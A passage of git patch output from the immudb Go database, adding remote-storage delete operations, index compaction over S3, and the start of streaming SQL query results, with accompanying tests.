"jklmnop") + + t.Run("test remove single object", func(t *testing.T) { + err := storage.Remove(context.Background(), "path/subPath/file2/") + require.ErrorIs(t, err, ErrInvalidArguments) + + err = storage.Remove(context.Background(), "path/subPath/file2") + require.NoError(t, err) + + entries, _, err := storage.ListEntries(context.Background(), "path/subPath/") + require.NoError(t, err) + require.Len(t, entries, 2) + require.Equal(t, "file1", entries[0].Name) + require.Equal(t, "file3", entries[1].Name) + }) + + t.Run("test remove folder", func(t *testing.T) { + err := storage.RemoveAll(context.Background(), "path/subPath") + require.ErrorIs(t, err, ErrInvalidArguments) + + err = storage.RemoveAll(context.Background(), "path/subPath/") + require.NoError(t, err) + + entries, sub, err := storage.ListEntries(context.Background(), "path/") + require.NoError(t, err) + require.Len(t, entries, 2) + require.Empty(t, sub) + + require.Equal(t, entries, []remotestorage.EntryInfo{ + {Name: "file1", Size: 0}, + {Name: "file2", Size: 3}, + }) + }) +} diff --git a/embedded/remotestorage/remote_storage.go b/embedded/remotestorage/remote_storage.go index 9e870ef079..345c15fa02 100644 --- a/embedded/remotestorage/remote_storage.go +++ b/embedded/remotestorage/remote_storage.go @@ -44,7 +44,13 @@ type Storage interface { // Put saves a local file to a remote storage Put(ctx context.Context, name string, fileName string) error - // Exists checks if a remove resource exists and can be read. + // Remove deletes a remote object + Remove(ctx context.Context, name string) error + + // RemoveAll deletes all remote objects contained in a folder + RemoveAll(ctx context.Context, path string) error + + // Exists checks if a remote resource exists and can be read. // Note that due to an asynchronous nature of cluod storage, // a resource stored with the Put method may not be immediately accessible. Exists(ctx context.Context, name string) (bool, error) diff --git a/embedded/remotestorage/s3/s3.go b/embedded/remotestorage/s3/s3.go index b06c0dea8b..7363079535 100644 --- a/embedded/remotestorage/s3/s3.go +++ b/embedded/remotestorage/s3/s3.go @@ -565,7 +565,62 @@ func (s *Storage) Put(ctx context.Context, name string, fileName string) error { return nil } -// Exists checks if a remove resource exists and can be read. +func (s *Storage) Remove(ctx context.Context, name string) error { + err := s.validateName(name, false) + if err != nil { + return err + } + + deleteURL, err := s.originalRequestURL(name) + if err != nil { + return err + } + + resp, err := s.requestWithRedirects( + ctx, + "DELETE", + deleteURL, + []int{204}, + func() (io.Reader, string, error) { + return nil, "", nil + }, + func(req *http.Request) error { return nil }, + ) + if err != nil { + return err + } + resp.Body.Close() + return nil +} + +func (s *Storage) RemoveAll(ctx context.Context, folder string) error { + err := s.validateName(folder, true) + if err != nil { + return err + } + + entries, subFolders, err := s.ListEntries(ctx, folder) + if err != nil { + return err + } + + for _, e := range entries { + err := s.Remove(ctx, folder+e.Name) + if err != nil { + return err + } + } + + for _, subFolder := range subFolders { + err := s.RemoveAll(ctx, folder+subFolder+"/") + if err != nil { + return err + } + } + return nil +} + +// Exists checks if a remote resource exists and can be read. // Note that due to an asynchronous nature of cloud storage, // a resource stored with the Put method may not be immediately accessible. func (s *Storage) Exists(ctx context.Context, name string) (bool, error) { diff --git a/embedded/remotestorage/s3/s3_with_minio_test.go b/embedded/remotestorage/s3/s3_with_minio_test.go index 52fae40c27..686c915764 100644 --- a/embedded/remotestorage/s3/s3_with_minio_test.go +++ b/embedded/remotestorage/s3/s3_with_minio_test.go @@ -93,11 +93,24 @@ func TestS3WithServer(t *testing.T) { require.Equal(t, []byte("ello "), data) }) - t.Run("create multiple file-s in multiple folders", func(t *testing.T) { + t.Run("delete file", func(t *testing.T) { + err := s.Remove(ctx, "test1") + require.NoError(t, err) + + exists, err := s.Exists(ctx, "test1") + require.NoError(t, err) + require.False(t, exists) + + _, err = s.Get(ctx, "test1", 0, -1) + require.Error(t, err) + }) - const foldersCount = 3 - const entriesCount = 20 + const ( + foldersCount = 3 + entriesCount = 20 + ) + t.Run("create multiple file-s in multiple folders", func(t *testing.T) { for i := 0; i < foldersCount; i++ { for j := 0; j < entriesCount; j++ { fl, err := ioutil.TempFile("", "") @@ -127,4 +140,30 @@ func TestS3WithServer(t *testing.T) { require.EqualValues(t, 15, entries[1].Size) require.EqualValues(t, 16, entries[2].Size) }) + + t.Run("delete folder with no subfolders", func(t *testing.T) { + err := s.RemoveAll(ctx, "test2/folder0/") + require.NoError(t, err) + + entries, sub, err := s.ListEntries(ctx, "test2/folder0/") + require.NoError(t, err) + require.Empty(t, entries) + require.Empty(t, sub) + + entries, sub, err = s.ListEntries(ctx, "test2/") + require.NoError(t, err) + require.Empty(t, entries) + require.Len(t, sub, foldersCount-1) + require.Equal(t, sub[0], "folder1") + }) + + t.Run("delete folder with subfolders", func(t *testing.T) { + err := s.RemoveAll(ctx, "test2/") + require.NoError(t, err) + + entries, sub, err := s.ListEntries(ctx, "test2/") + require.NoError(t, err) + require.Empty(t, entries) + require.Empty(t, sub) + }) } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 62e938cb46..3c86f9953e 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -97,7 +97,7 @@ var ErrInvalidPreconditionInvalidTxID = fmt.Errorf("%w: invalid transaction ID", var ErrSourceTxNewerThanTargetTx = fmt.Errorf("%w: source tx is newer than target tx", ErrIllegalArguments) -var ErrCompactionUnsupported = errors.New("compaction is unsupported when remote storage is used") +var ErrCompactionDisabled = errors.New("compaction is disabled") var ErrMetadataUnsupported = errors.New( "metadata is unsupported when in 1.1 compatibility mode, " + @@ -1274,7 +1274,7 @@ func (s *ImmuStore) WaitForIndexingUpto(ctx context.Context, txID uint64) error func (s *ImmuStore) CompactIndexes() error { if s.compactionDisabled { - return ErrCompactionUnsupported + return ErrCompactionDisabled } s.indexersMux.RLock() diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 3814cd56ea..17946f1ffc 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1812,7 +1812,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { wg.Wait() } -func TestImmudbStoreCompactionFailureForRemoteStorage(t *testing.T) { +func TestImmudbStoreCompapactionDisabled(t *testing.T) { opts := DefaultOptions().WithCompactionDisabled(true) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -1820,7 +1820,7 @@ func TestImmudbStoreCompactionFailureForRemoteStorage(t *testing.T) { defer immustoreClose(t, immuStore) err = immuStore.CompactIndexes() - require.ErrorIs(t, err, ErrCompactionUnsupported) + require.ErrorIs(t, err, ErrCompactionDisabled) } func TestImmudbStoreInclusionProof(t *testing.T) { diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 178869f373..98d48a094e 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -27,8 +27,6 @@ import ( "sync" "time" - "github.com/codenotary/immudb/embedded/appendable" - "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" "github.com/prometheus/client_golang/prometheus" @@ -120,9 +118,11 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) WithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction) if opts.appFactory != nil { - indexOpts.WithAppFactory(func(rootPath, subPath string, appOpts *multiapp.Options) (appendable.Appendable, error) { - return opts.appFactory(rootPath, subPath, appOpts) - }) + indexOpts.WithAppFactory(tbtree.AppFactoryFunc(opts.appFactory)) + } + + if opts.appRemove != nil { + indexOpts.WithAppRemoveFunc(tbtree.AppRemoveFunc(opts.appRemove)) } index, err := tbtree.Open(path, indexOpts) diff --git a/embedded/store/options.go b/embedded/store/options.go index fe4027f466..bcb9ed1dbd 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -64,6 +64,8 @@ type AppFactoryFunc func( opts *multiapp.Options, ) (appendable.Appendable, error) +type AppRemoveFunc func(rootPath, subPath string) error + type TimeFunc func() time.Time type Options struct { @@ -84,6 +86,8 @@ type Options struct { appFactory AppFactoryFunc + appRemove AppRemoveFunc + CompactionDisabled bool // Maximum number of pre-committed transactions @@ -461,6 +465,11 @@ func (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options { return opts } +func (opts *Options) WithAppRemoveFunc(appRemove AppRemoveFunc) *Options { + opts.appRemove = appRemove + return opts +} + func (opts *Options) WithCompactionDisabled(disabled bool) *Options { opts.CompactionDisabled = disabled return opts diff --git a/embedded/tbtree/options.go b/embedded/tbtree/options.go index 4a7fd45b98..850c35daa2 100644 --- a/embedded/tbtree/options.go +++ b/embedded/tbtree/options.go @@ -53,6 +53,8 @@ type AppFactoryFunc func( opts *multiapp.Options, ) (appendable.Appendable, error) +type AppRemoveFunc func(rootPath, subPath string) error + type Options struct { logger logger.Logger @@ -80,6 +82,7 @@ type Options struct { fileSize int appFactory AppFactoryFunc + appRemove AppRemoveFunc } func DefaultOptions() *Options { @@ -195,6 +198,11 @@ func (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options { return opts } +func (opts *Options) WithAppRemoveFunc(AppRemove AppRemoveFunc) *Options { + opts.appRemove = AppRemove + return opts +} + func (opts *Options) WithFlushThld(flushThld int) *Options { opts.flushThld = flushThld return opts diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index c21ef661ea..a7cdc28a60 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -165,7 +165,8 @@ func (e *cLogEntry) deserialize(b []byte) { // TBTree implements a timed-btree type TBtree struct { - path string + path string + logger logger.Logger nLog appendable.Appendable @@ -199,6 +200,8 @@ type TBtree struct { nodesLogMaxOpenedFiles int historyLogMaxOpenedFiles int commitLogMaxOpenedFiles int + appFactory AppFactoryFunc + appRemove AppRemoveFunc snapshots map[uint64]*Snapshot maxSnapshotID uint64 @@ -329,6 +332,14 @@ func Open(path string, opts *Options) (*TBtree, error) { } } + appRemove := opts.appRemove + if appRemove == nil { + appRemove = func(rootPath, subPath string) error { + path := filepath.Join(rootPath, subPath) + return os.RemoveAll(path) + } + } + appendableOpts.WithFileExt("hx") appendableOpts.WithMaxOpenedFiles(opts.historyLogMaxOpenedFiles) hLog, err := appFactory(path, historyFolder, appendableOpts) @@ -391,7 +402,7 @@ func Open(path string, opts *Options) (*TBtree, error) { nLog.Close() cLog.Close() - err = discardSnapshots(path, snapIDs[i-1:i], opts.logger) + err = discardSnapshots(path, snapIDs[i-1:i], appRemove, opts.logger) if err != nil { opts.logger.Warningf("discarding snapshots at '%s' returned: %v", path, err) } @@ -402,7 +413,7 @@ func Open(path string, opts *Options) (*TBtree, error) { opts.logger.Infof("successfully read snapshots at '%s'", snapPath) // Discard older snapshots upon successful validation - err = discardSnapshots(path, snapIDs[:i-1], opts.logger) + err = discardSnapshots(path, snapIDs[:i-1], appRemove, opts.logger) if err != nil { opts.logger.Warningf("discarding snapshots at '%s' returned: %v", path, err) } @@ -468,27 +479,24 @@ func recoverFullSnapshots(path, prefix string, logger logger.Logger) (snapIDs [] return snapIDs, nil } -func discardSnapshots(path string, snapIDs []uint64, logger logger.Logger) error { +func discardSnapshots(path string, snapIDs []uint64, appRemove AppRemoveFunc, logger logger.Logger) error { for _, snapID := range snapIDs { nFolder := snapFolder(nodesFolderPrefix, snapID) cFolder := snapFolder(commitFolderPrefix, snapID) - nPath := filepath.Join(path, nFolder) - cPath := filepath.Join(path, cFolder) - - logger.Infof("discarding snapshots at '%s'...", cPath) + logger.Infof("discarding snapshot with id=%d at '%s'..., %d", snapID, path) - err := os.RemoveAll(nPath) // TODO: nLog.Remove() + err := appRemove(path, nFolder) if err != nil { return err } - err = os.RemoveAll(cPath) // TODO: cLog.Remove() + err = appRemove(path, cFolder) if err != nil { return err } - logger.Infof("snapshots at '%s' has been discarded", cPath) + logger.Infof("snapshot with id=%d at '%s' has been discarded, %d", snapID, path) } return nil @@ -577,6 +585,8 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options historyLogMaxOpenedFiles: opts.historyLogMaxOpenedFiles, commitLogMaxOpenedFiles: opts.commitLogMaxOpenedFiles, readOnly: opts.readOnly, + appFactory: opts.appFactory, + appRemove: opts.appRemove, snapshots: make(map[uint64]*Snapshot), } @@ -718,7 +728,9 @@ func (t *TBtree) GetOptions() *Options { WithDelayDuringCompaction(t.delayDuringCompaction). WithNodesLogMaxOpenedFiles(t.nodesLogMaxOpenedFiles). WithHistoryLogMaxOpenedFiles(t.historyLogMaxOpenedFiles). - WithCommitLogMaxOpenedFiles(t.commitLogMaxOpenedFiles) + WithCommitLogMaxOpenedFiles(t.commitLogMaxOpenedFiles). + WithAppFactory(t.appFactory). + WithAppRemoveFunc(t.appRemove) } func (t *TBtree) cachePut(n node) { diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index 021df8f46c..6341d05bfe 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -105,6 +105,9 @@ func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) erro return err } s.UUID, err = xid.FromBytes(remoteID) + if err != nil { + return err + } } else { localID, err := ioutil.ReadFile(localIdentifierFile) if err != nil { @@ -143,26 +146,13 @@ func (s *ImmuServer) updateRemoteUUID(remoteStorage remotestorage.Storage) error func (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage.Storage, stOpts *store.Options) *store.Options { if remoteStorage != nil { stOpts.WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { - baseDir, err := filepath.Abs(s.Options.Dir) - if err != nil { - return nil, err - } - baseDir += string(filepath.Separator) - remoteAppOpts := remoteapp.DefaultOptions() remoteAppOpts.Options = *opts - fsPath, err := filepath.Abs(filepath.Join(rootPath, subPath)) + s3Path, err := getS3RemotePath(s.Options.Dir, rootPath, subPath) if err != nil { return nil, err } - if !strings.HasPrefix(fsPath, baseDir) { - return nil, errors.New("path assertion failed") - } - s3Path := strings.ReplaceAll( - fsPath[len(baseDir):]+"/", - string(filepath.Separator), "/", - ) return remoteapp.Open( filepath.Join(rootPath, subPath), @@ -171,11 +161,21 @@ func (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage. remoteAppOpts, ) }). - WithFileSize(1 << 20). // Reduce file size for better cache granularity - WithCompactionDisabled(true) // Disable index compaction + WithFileSize(1 << 20). // Reduce file size for better cache granularity + WithAppRemoveFunc(func(rootPath, subPath string) error { + s3Path, err := getS3RemotePath(s.Options.Dir, rootPath, subPath) + if err != nil { + return err + } + + err = os.RemoveAll(filepath.Join(rootPath, subPath)) + if err != nil { + return err + } + return remoteStorage.RemoveAll(context.Background(), s3Path) + }) Metrics.RemoteStorageKind.WithLabelValues(name, remoteStorage.Kind()).Set(1) - } else { // No remote storage @@ -184,3 +184,24 @@ func (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage. return stOpts } + +func getS3RemotePath(dir, rootPath, subPath string) (string, error) { + baseDir, err := filepath.Abs(dir) + if err != nil { + return "", err + } + baseDir += string(filepath.Separator) + + fsPath, err := filepath.Abs(filepath.Join(rootPath, subPath)) + if err != nil { + return "", err + } + if !strings.HasPrefix(fsPath, baseDir) { + return "", errors.New("path assertion failed") + } + + return strings.ReplaceAll( + fsPath[len(baseDir):]+"/", + string(filepath.Separator), "/", + ), nil +} diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 464cd9ea5e..1c7c0534ed 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -32,6 +32,7 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" + "github.com/rs/xid" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/grpc/test/bufconn" @@ -72,6 +73,14 @@ func (r *remoteStorageMockingWrapper) Put(ctx context.Context, name string, file return r.wrapped.Put(ctx, name, fileName) } +func (r *remoteStorageMockingWrapper) Remove(ctx context.Context, name string) error { + return nil +} + +func (r *remoteStorageMockingWrapper) RemoveAll(ctx context.Context, folder string) error { + return nil +} + func (r *remoteStorageMockingWrapper) Exists(ctx context.Context, name string) (bool, error) { if r.fnExists != nil { return r.fnExists(ctx, name, func() (bool, error) { @@ -214,8 +223,10 @@ func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { s.WithOptions(opts) + uuid := xid.New() + m := memory.Open() - storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) + storeData(t, m, "immudb.identifier", uuid.Bytes()) err := s.initializeRemoteStorage(m) require.NoError(t, err) @@ -226,7 +237,7 @@ func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { id, err := ioutil.ReadFile(uuidFilename) require.NoError(t, err) - require.Equal(t, []byte{1, 2, 3, 4, 5}, id) + require.Equal(t, uuid.Bytes(), id) } func TestInitializeWithEmptyRemoteStorage(t *testing.T) { @@ -269,8 +280,10 @@ func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { s.WithOptions(opts) + uuid := xid.New() + m := memory.Open() - storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) + storeData(t, m, "immudb.identifier", uuid.Bytes()) s.remoteStorage = m err := s.initializeRemoteStorage(m) @@ -282,7 +295,7 @@ func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { id, err := ioutil.ReadFile(uuidFilename) require.NoError(t, err) - require.Equal(t, []byte{1, 2, 3, 4, 5}, id) + require.Equal(t, uuid.Bytes(), id) } func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { @@ -443,7 +456,11 @@ func TestUpdateRemoteUUID(t *testing.T) { require.Equal(t, uuid.Bytes(), readUUID) } -func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { +func TestAppendableIsUploadedToRemoteStorage(t *testing.T) { + testAppendableIsUploadedToRemoteStorage(t) +} + +func testAppendableIsUploadedToRemoteStorage(t *testing.T) (string, remotestorage.Storage, *store.Options) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -454,9 +471,10 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { s.remoteStorage = memory.Open() - stOpts := s.databaseOptionsFrom(s.defaultDBOptions("testdb")).GetStoreOptions() + stOpts := s.databaseOptionsFrom(s.defaultDBOptions("testdb")).GetStoreOptions().WithEmbeddedValues(false) - st, err := store.Open(filepath.Join(dir, "testdb"), stOpts.WithEmbeddedValues(false)) + path := filepath.Join(dir, "testdb") + st, err := store.Open(path, stOpts) require.NoError(t, err) tx, err := st.NewWriteOnlyTx(context.Background()) @@ -471,6 +489,12 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { err = st.Close() require.NoError(t, err) + requireDataExistsOnRemoteStorage(t, s.remoteStorage) + + return path, s.remoteStorage, stOpts +} + +func requireDataExistsOnRemoteStorage(t *testing.T, storage remotestorage.Storage) { // Ensure the data was written to the remote storage for _, name := range []string{ "testdb/aht/commit/00000000.di", @@ -484,13 +508,31 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { "testdb/val_0/00000000.val", } { t.Run(name, func(t *testing.T) { - exists, err := s.remoteStorage.Exists(context.Background(), name) + exists, err := storage.Exists(context.Background(), name) require.NoError(t, err) require.True(t, exists) }) } } +func TestIndexCompactionForRemoteStorage(t *testing.T) { + path, storage, stOpts := testAppendableIsUploadedToRemoteStorage(t) + + st, err := store.Open(path, stOpts.WithIndexOptions(stOpts.IndexOpts.WithCompactionThld(1))) + require.NoError(t, err) + + err = st.CompactIndexes() + require.NoError(t, err) + + err = st.Close() + require.NoError(t, err) + + entries, subpath, err := storage.ListEntries(context.Background(), "testdb/index/") + require.NoError(t, err) + require.Len(t, entries, 0) + require.Equal(t, subpath, []string{"commit0000000000000001", "history", "nodes0000000000000001"}) +} + func TestRemoteStorageUsedForNewDB(t *testing.T) { dir := t.TempDir() From 0c8204a1144ab2a7ca86751a0e23e4cc7c8adf04 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Tue, 14 May 2024 13:12:22 +0200 Subject: [PATCH 1011/1062] Implement streaming in SQLQuery/TxSQLQuery rpcs Signed-off-by: Stefano Scafiti --- Makefile | 8 +- embedded/sql/aggregated_values.go | 22 + embedded/sql/row_reader.go | 44 + embedded/sql/stmt.go | 35 + embedded/sql/stmt_test.go | 39 + pkg/api/openapi/apidocs.swagger.json | 184 +-- pkg/api/schema/docs.md | 54 +- pkg/api/schema/schema.pb.go | 1015 +++++++++-------- pkg/api/schema/schema.pb.gw.go | 57 +- pkg/api/schema/schema.proto | 11 +- pkg/api/schema/schema.swagger.json | 131 ++- pkg/api/schema/schema_grpc.pb.go | 184 +-- pkg/api/schema/sql.go | 44 + pkg/client/client.go | 12 +- pkg/client/sql.go | 202 +++- pkg/client/token_interceptor.go | 26 +- pkg/client/transaction.go | 39 +- pkg/database/database.go | 68 +- pkg/database/dboptions.go | 7 + pkg/database/replica_test.go | 3 +- pkg/database/sql.go | 135 +-- pkg/database/sql_test.go | 20 +- pkg/database/truncator_test.go | 12 +- pkg/integration/sql/sql_test.go | 75 ++ pkg/integration/tx/transaction_test.go | 63 +- pkg/integration/tx/tx_entries_test.go | 2 +- pkg/pgsql/server/bmessages/data_row.go | 79 +- .../server/bmessages/parameter_description.go | 20 +- pkg/pgsql/server/bmessages/row_description.go | 6 +- pkg/pgsql/server/query_machine.go | 47 +- pkg/pgsql/server/query_machine_test.go | 7 +- pkg/pgsql/server/types.go | 39 +- pkg/pgsql/server/types_test.go | 28 +- pkg/pgsql/server/version.go | 12 +- pkg/server/db_dummy_closed.go | 6 +- pkg/server/db_dummy_closed_test.go | 4 +- pkg/server/db_options.go | 3 +- pkg/server/options.go | 9 + pkg/server/servertest/server_mock.go | 8 +- .../internal/transactions/transactions.go | 9 +- pkg/server/sql.go | 87 +- pkg/server/sql_test.go | 28 +- pkg/server/transaction.go | 20 +- pkg/server/transaction_test.go | 4 +- pkg/stdlib/connection.go | 10 +- pkg/stdlib/connection_test.go | 2 +- pkg/stdlib/rows.go | 215 ++-- pkg/stdlib/rows_test.go | 304 ++--- 48 files changed, 1993 insertions(+), 1446 deletions(-) diff --git a/Makefile b/Makefile index a0da74abda..bb9fe90986 100644 --- a/Makefile +++ b/Makefile @@ -170,10 +170,10 @@ build/codegen: -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ --go_out=paths=source_relative:pkg/api/schema \ - --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema - --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema - --doc_out=pkg/api/schema --doc_opt=markdown,docs.md - --swagger_out=logtostderr=true:pkg/api/schema + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema \ + --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ + --swagger_out=logtostderr=true:pkg/api/schema \ .PHONY: build/codegenv2 build/codegenv2: diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index d39d53a6ed..6935ab54bb 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -16,6 +16,8 @@ limitations under the License. package sql +import "strconv" + type AggregatedValue interface { TypedValue updateWith(val TypedValue) error @@ -44,6 +46,10 @@ func (v *CountValue) IsNull() bool { return false } +func (v *CountValue) String() string { + return strconv.FormatInt(v.c, 10) +} + func (v *CountValue) RawValue() interface{} { return v.c } @@ -129,6 +135,10 @@ func (v *SumValue) IsNull() bool { return v.val.IsNull() } +func (v *SumValue) String() string { + return v.val.String() +} + func (v *SumValue) RawValue() interface{} { return v.val.RawValue() } @@ -221,6 +231,10 @@ func (v *MinValue) IsNull() bool { return v.val.IsNull() } +func (v *MinValue) String() string { + return v.val.String() +} + func (v *MinValue) RawValue() interface{} { return v.val.RawValue() } @@ -320,6 +334,10 @@ func (v *MaxValue) IsNull() bool { return v.val.IsNull() } +func (v *MaxValue) String() string { + return v.val.String() +} + func (v *MaxValue) RawValue() interface{} { return v.val.RawValue() } @@ -420,6 +438,10 @@ func (v *AVGValue) IsNull() bool { return v.s.IsNull() } +func (v *AVGValue) String() string { + return v.calculate().String() +} + func (v *AVGValue) calculate() TypedValue { if v.s.IsNull() { return nil diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 9817423803..7c0a844bad 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -515,3 +515,47 @@ func (r *rawRowReader) Close() error { return r.reader.Close() } + +func ReadAllRows(ctx context.Context, reader RowReader) ([]*Row, error) { + var rows []*Row + err := ReadRowsBatch(ctx, reader, 100, func(rowBatch []*Row) error { + if rows == nil { + rows = make([]*Row, 0, len(rowBatch)) + } + rows = append(rows, rowBatch...) + return nil + }) + return rows, err +} + +func ReadRowsBatch(ctx context.Context, reader RowReader, batchSize int, onBatch func([]*Row) error) error { + rows := make([]*Row, batchSize) + + hasMoreRows := true + for hasMoreRows { + n, err := readNRows(ctx, reader, batchSize, rows) + + if n > 0 { + if err := onBatch(rows[:n]); err != nil { + return err + } + } + + hasMoreRows = !errors.Is(err, ErrNoMoreRows) + if err != nil && hasMoreRows { + return err + } + } + return nil +} + +func readNRows(ctx context.Context, reader RowReader, n int, outRows []*Row) (int, error) { + for i := 0; i < n; i++ { + r, err := reader.Read(ctx) + if err != nil { + return i, err + } + outRows[i] = r + } + return n, nil +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index fb90b0f9c9..63155bbf9a 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -20,10 +20,12 @@ import ( "bytes" "context" "encoding/binary" + "encoding/hex" "errors" "fmt" "math" "regexp" + "strconv" "strings" "time" @@ -1551,6 +1553,7 @@ type TypedValue interface { RawValue() interface{} Compare(val TypedValue) (int, error) IsNull() bool + String() string } type Tuple []TypedValue @@ -1587,6 +1590,10 @@ func (n *NullValue) IsNull() bool { return true } +func (n *NullValue) String() string { + return "NULL" +} + func (n *NullValue) Compare(val TypedValue) (int, error) { if n.t != AnyType && val.Type() != AnyType && n.t != val.Type() { return 0, ErrNotComparableValues @@ -1653,6 +1660,10 @@ func (v *Integer) IsNull() bool { return false } +func (v *Integer) String() string { + return strconv.FormatInt(v.val, 10) +} + func (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } @@ -1728,6 +1739,10 @@ func (v *Timestamp) IsNull() bool { return false } +func (v *Timestamp) String() string { + return v.val.Format("2006-01-02 15:04:05.999999") +} + func (v *Timestamp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return TimestampType, nil } @@ -1802,6 +1817,10 @@ func (v *Varchar) IsNull() bool { return false } +func (v *Varchar) String() string { + return v.val +} + func (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } @@ -1868,6 +1887,10 @@ func (v *UUID) IsNull() bool { return false } +func (v *UUID) String() string { + return v.val.String() +} + func (v *UUID) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return UUIDType, nil } @@ -1934,6 +1957,10 @@ func (v *Bool) IsNull() bool { return false } +func (v *Bool) String() string { + return strconv.FormatBool(v.val) +} + func (v *Bool) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BooleanType, nil } @@ -2008,6 +2035,10 @@ func (v *Blob) IsNull() bool { return false } +func (v *Blob) String() string { + return hex.EncodeToString(v.val) +} + func (v *Blob) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BLOBType, nil } @@ -2074,6 +2105,10 @@ func (v *Float64) IsNull() bool { return false } +func (v *Float64) String() string { + return strconv.FormatFloat(float64(v.val), 'f', -1, 64) +} + func (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return Float64Type, nil } diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 2f06ab6fea..2194505cc8 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -18,6 +18,7 @@ package sql import ( "context" + "encoding/hex" "fmt" "testing" "time" @@ -1057,3 +1058,41 @@ func TestUUIDType(t *testing.T) { err = (&Varchar{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) } + +func TestTypedValueString(t *testing.T) { + n := &NullValue{} + require.Equal(t, "NULL", n.String()) + + i := &Integer{val: 10} + require.Equal(t, "10", i.String()) + + s := &Varchar{val: "test"} + require.Equal(t, "test", s.String()) + + b := &Bool{val: true} + require.Equal(t, "true", b.String()) + + blob := &Blob{val: []byte{1, 2, 3}} + require.Equal(t, hex.EncodeToString([]byte{1, 2, 3}), blob.String()) + + ts := &Timestamp{val: time.Date(2024, time.April, 24, 10, 10, 10, 10, time.UTC)} + require.Equal(t, "2024-04-24 10:10:10", ts.String()) + + id := &UUID{val: uuid.New()} + require.Equal(t, id.val.String(), id.String()) + + count := &CountValue{c: 1} + require.Equal(t, "1", count.String()) + + sum := &SumValue{val: i} + require.Equal(t, "10", sum.String()) + + min := &MinValue{val: i} + require.Equal(t, "10", min.String()) + + max := &MaxValue{val: i} + require.Equal(t, "10", max.String()) + + avg := &AVGValue{s: &Float64{val: 10}, c: 4} + require.Equal(t, "2.5", avg.String()) +} diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 